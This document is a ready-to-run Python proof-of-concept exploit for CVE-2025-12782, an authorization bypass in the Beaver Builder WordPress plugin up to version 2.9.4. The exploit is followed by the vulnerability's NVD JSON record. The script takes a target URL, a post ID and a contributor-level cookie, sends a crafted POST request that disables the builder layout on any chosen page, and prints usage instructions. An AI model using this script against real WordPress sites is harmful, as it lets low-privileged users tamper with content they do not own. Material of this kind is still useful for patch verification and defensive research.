CVE-2025-12782

# CVE-2025-12782 PoC - Beaver Builder Authorization Bypass # Affected: Beaver Builder Plugin <= 2.9.4 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_12782(target_url, target_post_id, auth_cookie): """ Exploit Beaver Builder authorization bypass vulnerability. Allows authenticated users with contributor role to disable Beaver Builder layout on arbitrary posts/pages. Args: target_url: Base URL of WordPress site target_post_id: ID of post/page to disable Beaver Builder on auth_cookie: Authentication cookie (wordpress_test_cookie or similar) """ # Endpoint for Beaver Builder disable function endpoint = '/?fl_builder_post_settings&fl_builder_post_settings[post_id]={}&fl_builder_post_settings[action]=disable' exploit_url = urljoin(target_url, endpoint.format(target_post_id)) headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(exploit_url, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] Successfully sent disable request for post ID: {target_post_id}') print(f'[+] Response: {response.text}') return True else: print(f'[-] Request failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {str(e)}') return False def main(): if len(sys.argv) < 4: print('Usage: python cve_2025_12782.py <target_url> <post_id> <auth_cookie>') print('Example: python cve_2025_12782.py http://example.com 123 "wordpress_test_cookie=xxx"') sys.exit(1) target_url = sys.argv[1] target_post_id = sys.argv[2] auth_cookie = sys.argv[3] exploit_cve_2025_12782(target_url, target_post_id, auth_cookie) if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-12782", "sourceIdentifier": "[email protected]", "published": "2025-12-04T07:16:13.883", "lastModified": "2025-12-11T18:17:25.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Beaver Builder – WordPress Page Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.9.4. This is due to the plugin not properly verifying a user's authorization in the disable() function. This makes it possible for authenticated attackers, with contributor level access and above, to disable the Beaver Builder layout on arbitrary posts and pages, causing content integrity issues and layout disruption on those pages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastlinemedia:beaver_builder:*:*:*:*:lite:wordpress:*:*", "versionEndExcluding": "2.9.4.1", "matchCriteriaId": "3CC303E8-BD30-4426-8AB7-58F4CA9E9630"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3406987/beaver-builder-lite-version", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/710ed734-ca98-4ab3-82d5-359e683ee062?source=cve", "source": "[email protected]", "tags": ["Product", "Third Party Advisory"]}]}}